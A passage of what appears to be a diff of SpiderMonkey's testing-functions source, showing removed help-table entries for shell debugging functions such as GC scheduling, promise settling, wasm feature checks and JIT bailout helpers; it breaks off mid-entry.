139 | - 140 | - JS_FN_HELP("stackTest", StackTest, 0, 0, 141 | -"stackTest(function, [expectExceptionOnFailure = true])", 142 | -" This function behaves exactly like oomTest with the difference that\n" 143 | -" instead of simulating regular OOM conditions, it simulates the engine\n" 144 | -" running out of stack space (failing recursion check)."), 145 | - 146 | - JS_FN_HELP("interruptTest", InterruptTest, 0, 0, 147 | -"interruptTest(function)", 148 | -" This function simulates interrupts similar to how oomTest simulates OOM conditions."), 149 | - 150 | -#endif // defined(DEBUG) || defined(JS_OOM_BREAKPOINT) 151 | - 152 | - JS_FN_HELP("newRope", NewRope, 3, 0, 153 | -"newRope(left, right[, options])", 154 | -" Creates a rope with the given left/right strings.\n" 155 | -" Available options:\n" 156 | -" nursery: bool - force the string to be created in/out of the nursery, if possible.\n"), 157 | - 158 | - JS_FN_HELP("settlePromiseNow", SettlePromiseNow, 1, 0, 159 | -"settlePromiseNow(promise)", 160 | -" 'Settle' a 'promise' immediately. This just marks the promise as resolved\n" 161 | -" with a value of `undefined` and causes the firing of any onPromiseSettled\n" 162 | -" hooks set on Debugger instances that are observing the given promise's\n" 163 | -" global as a debuggee."), 164 | - JS_FN_HELP("getWaitForAllPromise", GetWaitForAllPromise, 1, 0, 165 | -"getWaitForAllPromise(densePromisesArray)", 166 | -" Calls the 'GetWaitForAllPromise' JSAPI function and returns the result\n" 167 | -" Promise."), 168 | -JS_FN_HELP("resolvePromise", ResolvePromise, 2, 0, 169 | -"resolvePromise(promise, resolution)", 170 | -" Resolve a Promise by calling the JSAPI function JS::ResolvePromise."), 171 | -JS_FN_HELP("rejectPromise", RejectPromise, 2, 0, 172 | -"rejectPromise(promise, reason)", 173 | -" Reject a Promise by calling the JSAPI function JS::RejectPromise."), 174 | - 175 | -JS_FN_HELP("streamsAreEnabled", StreamsAreEnabled, 0, 0, 176 | -"streamsAreEnabled()", 177 | -" Returns a boolean indicating whether WHATWG Streams are enabled for the current compartment."), 178 | - 179 | - JS_FN_HELP("makeFinalizeObserver", MakeFinalizeObserver, 0, 0, 180 | -"makeFinalizeObserver()", 181 | -" Get a special object whose finalization increases the counter returned\n" 182 | -" by the finalizeCount function."), 183 | - 184 | - JS_FN_HELP("finalizeCount", FinalizeCount, 0, 0, 185 | -"finalizeCount()", 186 | -" Return the current value of the finalization counter that is incremented\n" 187 | -" each time an object returned by the makeFinalizeObserver is finalized."), 188 | - 189 | - JS_FN_HELP("resetFinalizeCount", ResetFinalizeCount, 0, 0, 190 | -"resetFinalizeCount()", 191 | -" Reset the value returned by finalizeCount()."), 192 | - 193 | - JS_FN_HELP("gcPreserveCode", GCPreserveCode, 0, 0, 194 | -"gcPreserveCode()", 195 | -" Preserve JIT code during garbage collections."), 196 | - 197 | -#ifdef JS_GC_ZEAL 198 | - JS_FN_HELP("gczeal", GCZeal, 2, 0, 199 | -"gczeal(level, [N])", 200 | -gc::ZealModeHelpText), 201 | - 202 | - JS_FN_HELP("schedulegc", ScheduleGC, 1, 0, 203 | -"schedulegc([num | obj | string])", 204 | -" If num is given, schedule a GC after num allocations.\n" 205 | -" If obj is given, schedule a GC of obj's zone.\n" 206 | -" If string is given, schedule a GC of the string's zone if possible.\n" 207 | -" Returns the number of allocations before the next trigger."), 208 | - 209 | - JS_FN_HELP("selectforgc", SelectForGC, 0, 0, 210 | -"selectforgc(obj1, obj2, ...)", 211 | -" Schedule the given objects to be marked in the next GC slice."), 212 | - 213 | - JS_FN_HELP("verifyprebarriers", VerifyPreBarriers, 0, 0, 214 | -"verifyprebarriers()", 215 | -" Start or end a run of the pre-write barrier verifier."), 216 | - 217 | - JS_FN_HELP("verifypostbarriers", VerifyPostBarriers, 0, 0, 218 | -"verifypostbarriers()", 219 | -" Does nothing (the post-write barrier verifier has been remove)."), 220 | - 221 | - JS_FN_HELP("gcstate", GCState, 0, 0, 222 | -"gcstate()", 223 | -" Report the global GC state."), 224 | - 225 | - JS_FN_HELP("deterministicgc", DeterministicGC, 1, 0, 226 | -"deterministicgc(true|false)", 227 | -" If true, only allow determinstic GCs to run."), 228 | - 229 | - JS_FN_HELP("dumpGCArenaInfo", DumpGCArenaInfo, 0, 0, 230 | -"dumpGCArenaInfo()", 231 | -" Prints information about the different GC things and how they are arranged\n" 232 | -" in arenas.\n"), 233 | -#endif 234 | - 235 | - JS_FN_HELP("startgc", StartGC, 1, 0, 236 | -"startgc([n [, 'shrinking']])", 237 | -" Start an incremental GC and run a slice that processes about n objects.\n" 238 | -" If 'shrinking' is passesd as the optional second argument, perform a\n" 239 | -" shrinking GC rather than a normal GC."), 240 | - 241 | - JS_FN_HELP("gcslice", GCSlice, 1, 0, 242 | -"gcslice([n])", 243 | -" Start or continue an an incremental GC, running a slice that processes about n objects."), 244 | - 245 | - JS_FN_HELP("abortgc", AbortGC, 1, 0, 246 | -"abortgc()", 247 | -" Abort the current incremental GC."), 248 | - 249 | - JS_FN_HELP("fullcompartmentchecks", FullCompartmentChecks, 1, 0, 250 | -"fullcompartmentchecks(true|false)", 251 | -" If true, check for compartment mismatches before every GC."), 252 | - 253 | - JS_FN_HELP("nondeterministicGetWeakMapKeys", NondeterministicGetWeakMapKeys, 1, 0, 254 | -"nondeterministicGetWeakMapKeys(weakmap)", 255 | -" Return an array of the keys in the given WeakMap."), 256 | - 257 | - JS_FN_HELP("internalConst", InternalConst, 1, 0, 258 | -"internalConst(name)", 259 | -" Query an internal constant for the engine. See InternalConst source for\n" 260 | -" the list of constant names."), 261 | - 262 | - JS_FN_HELP("isProxy", IsProxy, 1, 0, 263 | -"isProxy(obj)", 264 | -" If true, obj is a proxy of some sort"), 265 | - 266 | - JS_FN_HELP("dumpHeap", DumpHeap, 1, 0, 267 | -"dumpHeap(['collectNurseryBeforeDump'], [filename])", 268 | -" Dump reachable and unreachable objects to the named file, or to stdout. If\n" 269 | -" 'collectNurseryBeforeDump' is specified, a minor GC is performed first,\n" 270 | -" otherwise objects in the nursery are ignored."), 271 | - 272 | - JS_FN_HELP("terminate", Terminate, 0, 0, 273 | -"terminate()", 274 | -" Terminate JavaScript execution, as if we had run out of\n" 275 | -" memory or been terminated by the slow script dialog."), 276 | - 277 | - JS_FN_HELP("readGeckoProfilingStack", ReadGeckoProfilingStack, 0, 0, 278 | -"readGeckoProfilingStack()", 279 | -" Reads the jit stack using ProfilingFrameIterator."), 280 | - 281 | - JS_FN_HELP("enableOsiPointRegisterChecks", EnableOsiPointRegisterChecks, 0, 0, 282 | -"enableOsiPointRegisterChecks()", 283 | -" Emit extra code to verify live regs at the start of a VM call are not\n" 284 | -" modified before its OsiPoint."), 285 | - 286 | - JS_FN_HELP("displayName", DisplayName, 1, 0, 287 | -"displayName(fn)", 288 | -" Gets the display name for a function, which can possibly be a guessed or\n" 289 | -" inferred name based on where the function was defined. This can be\n" 290 | -" different from the 'name' property on the function."), 291 | - 292 | - JS_FN_HELP("isAsmJSCompilationAvailable", IsAsmJSCompilationAvailable, 0, 0, 293 | -"isAsmJSCompilationAvailable", 294 | -" Returns whether asm.js compilation is currently available or whether it is disabled\n" 295 | -" (e.g., by the debugger)."), 296 | - 297 | - JS_FN_HELP("isSimdAvailable", IsSimdAvailable, 0, 0, 298 | -"isSimdAvailable", 299 | -" Returns true if SIMD extensions are supported on this platform."), 300 | - 301 | - JS_FN_HELP("getJitCompilerOptions", GetJitCompilerOptions, 0, 0, 302 | -"getCompilerOptions()", 303 | -" Return an object describing some of the JIT compiler options.\n"), 304 | - 305 | - JS_FN_HELP("isAsmJSModule", IsAsmJSModule, 1, 0, 306 | -"isAsmJSModule(fn)", 307 | -" Returns whether the given value is a function containing \"use asm\" that has been\n" 308 | -" validated according to the asm.js spec."), 309 | - 310 | - JS_FN_HELP("isAsmJSModuleLoadedFromCache", IsAsmJSModuleLoadedFromCache, 1, 0, 311 | -"isAsmJSModuleLoadedFromCache(fn)", 312 | -" Return whether the given asm.js module function has been loaded directly\n" 313 | -" from the cache. This function throws an error if fn is not a validated asm.js\n" 314 | -" module."), 315 | - 316 | - JS_FN_HELP("isAsmJSFunction", IsAsmJSFunction, 1, 0, 317 | -"isAsmJSFunction(fn)", 318 | -" Returns whether the given value is a nested function in an asm.js module that has been\n" 319 | -" both compile- and link-time validated."), 320 | - 321 | - JS_FN_HELP("wasmIsSupported", WasmIsSupported, 0, 0, 322 | -"wasmIsSupported()", 323 | -" Returns a boolean indicating whether WebAssembly is supported on the current device."), 324 | - 325 | - JS_FN_HELP("wasmIsSupportedByHardware", WasmIsSupportedByHardware, 0, 0, 326 | -"wasmIsSupportedByHardware()", 327 | -" Returns a boolean indicating whether WebAssembly is supported on the current hardware (regardless of whether we've enabled support)."), 328 | - 329 | - JS_FN_HELP("wasmDebuggingIsSupported", WasmDebuggingIsSupported, 0, 0, 330 | -"wasmDebuggingIsSupported()", 331 | -" Returns a boolean indicating whether WebAssembly debugging is supported on the current device;\n" 332 | -" returns false also if WebAssembly is not supported"), 333 | - 334 | - JS_FN_HELP("wasmThreadsSupported", WasmThreadsSupported, 0, 0, 335 | -"wasmThreadsSupported()", 336 | -" Returns a boolean indicating whether the WebAssembly threads proposal is\n" 337 | -" supported on the current device."), 338 | - 339 | - JS_FN_HELP("wasmSaturatingTruncationSupported", WasmSaturatingTruncationSupported, 0, 0, 340 | -"wasmSaturatingTruncationSupported()", 341 | -" Returns a boolean indicating whether the WebAssembly saturating truncates opcodes are\n" 342 | -" supported on the current device."), 343 | - 344 | - JS_FN_HELP("wasmBulkMemSupported", WasmBulkMemSupported, 0, 0, 345 | -"wasmBulkMemSupported()", 346 | -" Returns a boolean indicating whether the WebAssembly bulk memory proposal is\n" 347 | -" supported on the current device."), 348 | - 349 | - JS_FN_HELP("wasmCompileMode", WasmCompileMode, 0, 0, 350 | -"wasmCompileMode()", 351 | -" Returns a string indicating the available compile policy: 'baseline', 'ion',\n" 352 | -" 'baseline-or-ion', or 'disabled' (if wasm is not available at all)."), 353 | - 354 | - JS_FN_HELP("wasmTextToBinary", WasmTextToBinary, 1, 0, 355 | -"wasmTextToBinary(str)", 356 | -" Translates the given text wasm module into its binary encoding."), 357 | - 358 | - JS_FN_HELP("wasmExtractCode", WasmExtractCode, 1, 0, 359 | -"wasmExtractCode(module[, tier])", 360 | -" Extracts generated machine code from WebAssembly.Module. The tier is a string,\n" 361 | -" 'stable', 'best', 'baseline', or 'ion'; the default is 'stable'. If the request\n" 362 | -" cannot be satisfied then null is returned. If the request is 'ion' then block\n" 363 | -" until background compilation is complete."), 364 | - 365 | - JS_FN_HELP("wasmHasTier2CompilationCompleted", WasmHasTier2CompilationCompleted, 1, 0, 366 | -"wasmHasTier2CompilationCompleted(module)", 367 | -" Returns a boolean indicating whether a given module has finished compiled code for tier2. \n" 368 | -"This will return true early if compilation isn't two-tiered. "), 369 | - 370 | - JS_FN_HELP("wasmGcEnabled", WasmGcEnabled, 1, 0, 371 | -"wasmGcEnabled(bool)", 372 | -" Returns a boolean indicating whether the WebAssembly GC support is enabled."), 373 | - 374 | - JS_FN_HELP("isLazyFunction", IsLazyFunction, 1, 0, 375 | -"isLazyFunction(fun)", 376 | -" True if fun is a lazy JSFunction."), 377 | - 378 | - JS_FN_HELP("isRelazifiableFunction", IsRelazifiableFunction, 1, 0, 379 | -"isRelazifiableFunction(fun)", 380 | -" True if fun is a JSFunction with a relazifiable JSScript."), 381 | - 382 | - JS_FN_HELP("enableShellAllocationMetadataBuilder", EnableShellAllocationMetadataBuilder, 0, 0, 383 | -"enableShellAllocationMetadataBuilder()", 384 | -" Use ShellAllocationMetadataBuilder to supply metadata for all newly created objects."), 385 | - 386 | - JS_FN_HELP("getAllocationMetadata", GetAllocationMetadata, 1, 0, 387 | -"getAllocationMetadata(obj)", 388 | -" Get the metadata for an object."), 389 | - 390 | - JS_INLINABLE_FN_HELP("bailout", testingFunc_bailout, 0, 0, TestBailout, 391 | -"bailout()", 392 | -" Force a bailout out of ionmonkey (if running in ionmonkey)."), 393 | - 394 | - JS_FN_HELP("bailAfter", testingFunc_bailAfter, 1, 0, 395 | -"bailAfter(number)", 396 | -" Start a counter to bail once after passing the given amount of possible bailout positions in\n" 397 | -" ionmonkey.\n"), 398 | - 399 | - 400 | - JS_FN_HELP("inJit", testingFunc_inJit, 0, 0, 401 | -"inJit()", 402 | -" Returns true when called within (jit-)compiled code. When jit compilation is disabled this\n" 403 | -" function returns an error string. This function returns false in all other cases.\n" 404 | -" Depending on truthiness, you should continue to wait for compilation to happen or stop execution.\n"), 405 | - 406 | - JS_FN_HELP("inIon", testingFunc_inIon, 0, 0, 407 | -"inIon()", 408 | -" Returns true when called within ion. When ion is disabled or when compilation is abnormally\n" 409 | -" slow to start, this function returns an error string. Otherwise, this function returns false.\n" 410 | -" This behaviour ensures that a falsy value means that we are not in ion, but expect a\n" 411 | -" compilation to occur in the future. Conversely, a truthy value means that we are either in\n" 412 | -" ion or that there is litle or no chance of ion ever compiling the current script."), 413 | - 414 | - JS_FN_HELP("assertJitStackInvariants", TestingFunc_assertJitStackInvariants, 0, 0, 415 | -"assertJitStackInvariants()", 416 | -" Iterates the Jit stack and check that stack invariants hold."), 417 | - 418 | - JS_FN_HELP("setJitCompilerOption", SetJitCompilerOption, 2, 0, 419 | -"setCompilerOption(